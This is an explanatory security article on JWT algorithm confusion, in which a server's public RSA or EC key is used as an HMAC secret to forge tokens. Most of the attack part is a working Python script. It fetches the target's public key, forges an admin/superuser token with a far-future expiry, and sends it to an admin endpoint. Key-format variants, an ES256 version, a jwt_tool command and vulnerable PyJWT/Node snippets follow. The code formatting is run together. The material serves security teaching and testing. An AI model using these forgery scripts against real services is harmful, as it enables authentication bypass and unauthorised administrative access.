Algorithm confusion (also called "key confusion") exploits the fact that some JWT libraries accept any algorithm value from the token header and use it to select the verification function - even when the application is configured exclusively for asymmetric (RS256/ES256) signing.
The attack scenario: a server uses RS256 with an RSA private key to sign tokens. Its RSA public key is published (at /.well-known/jwks.json or similar). An attacker changes the token's alg from RS256 to HS256and signs the forged payload using HMAC-SHA256 with the RSA public key as the HMAC secret. The server, not enforcing its expected algorithm, then verifies the HMAC using the same public key - and it matches.
The public key is supposed to be public
The entire point of asymmetric cryptography is that the public key can be freely distributed. Algorithm confusion turns this design property into a vulnerability - the attacker knows the "secret" used for verification by definition.
Why it works: the math
RS256 verification computes: RSASSA-PKCS1-v1_5-VERIFY(public_key, message, signature). HS256 verification computes: HMAC-SHA256(secret, message) == signature. When a library switches from RS256 to HS256 based on the token's alg claim, it passes the same key material - the RSA public key - to the HMAC function. The public key is typically 294-526 bytes of PEM-encoded data. The attacker uses the same bytes as the HMAC secret to produce a signature that verifies correctly.
Full attack - RS256 → HS256
importhmac, hashlib, base64, json, requestsdef b64url(data):if isinstance(data, str): data = data.encode()returnbase64.urlsafe_b64encode(data).rstrip(b"=").decode()# Step 1: Fetch the server's public key# Common locations: /.well-known/jwks.json, /oauth/jwks, /api/.well-known/openid-configurationresponse = requests.get("https://target.example.com/.well-known/jwks.json")# Extract the PEM-encoded public key from the JWK (use jwt_arsenal or python-jwcrypto)public_key_pem = b"""-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...-----END PUBLIC KEY-----"""# Step 2: Forge the payloadheader = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}))payload = b64url(json.dumps({"sub": "admin","role": "superuser","exp": 9999999999}))# Step 3: Sign with the public key as HMAC secretsigning_input = f"{header}.{payload}".encode()sig = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()forged_token = f"{header}.{payload}.{b64url(sig)}"print("Forged token:", forged_token)# Step 4: Send the forged tokenr = requests.get("https://target.example.com/api/admin", headers={"Authorization": f"Bearer {forged_token}"})print(r.status_code, r.text) # 200 → exploited
Key format details matter
The exact bytes used as the HMAC secret must match what the server passes to its HMAC function. Libraries typically pass the public key in one of three formats - and using the wrong one produces an invalid signature:
Key format variants to try
# Variant 1: PEM-encoded (most common)secret = b"""-----BEGIN PUBLIC KEY-----MIIBIjAN...-----END PUBLIC KEY-----"""# Variant 2: PEM without trailing newlinesecret = b"""-----BEGIN PUBLIC KEY-----MIIBIjAN...-----END PUBLIC KEY-----"""# Variant 3: DER-encoded (raw bytes, no PEM wrapping)importbase64der_b64 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA..."secret = base64.b64decode(der_b64)# Try all three - the correct one produces a valid signature.# jwt_tool automates this: python3 jwt_tool.py <JWT> -X k -pk public.pem
ECDSA variant: ES256 → HS256
The same attack applies to ES256 (ECDSA P-256). The EC public key is shorter (~91 bytes in PEM form), but the attack mechanics are identical - change alg from ES256 to HS256and sign with the EC public key as the HMAC secret.
ES256 → HS256 attack
# EC public key PEM (shorter than RSA)ec_public_key_pem = b"""-----BEGIN PUBLIC KEY-----MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...-----END PUBLIC KEY-----"""header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}))payload = b64url(json.dumps({"sub": "admin", "exp": 9999999999}))sig = hmac.new(ec_public_key_pem, f"{header}.{payload}".encode(),hashlib.sha256).digest()forged = f"{header}.{payload}.{b64url(sig)}"
PS256 / RS384 / RS512 variants
Libraries that do not enforce specific algorithm families may also be confused from RS256 to RS384/RS512 (different hash functions over the same RSA operation) or from RSA to PS256 (RSA-PSS). These variants are less common because the key type remains RSA and the confusions are subtler - but they have appeared in real library implementations.
Vulnerable library behaviour
Python - PyJWT (vulnerable)
import jwt# No algorithms kwarg → PyJWT accepts any alg from token headerpayload = jwt.decode(token, public_key, options={"verify_signature": True})# When token has alg=HS256, PyJWT uses public_key as the HMAC secret# → attacker who signed with that key passes verification
// No algorithms option in jwt.verify() → accepts algorithm from token headerconst decoded = jwt.verify(token, publicKey);// If token has alg=HS256, publicKey is used as HMAC secret → bypass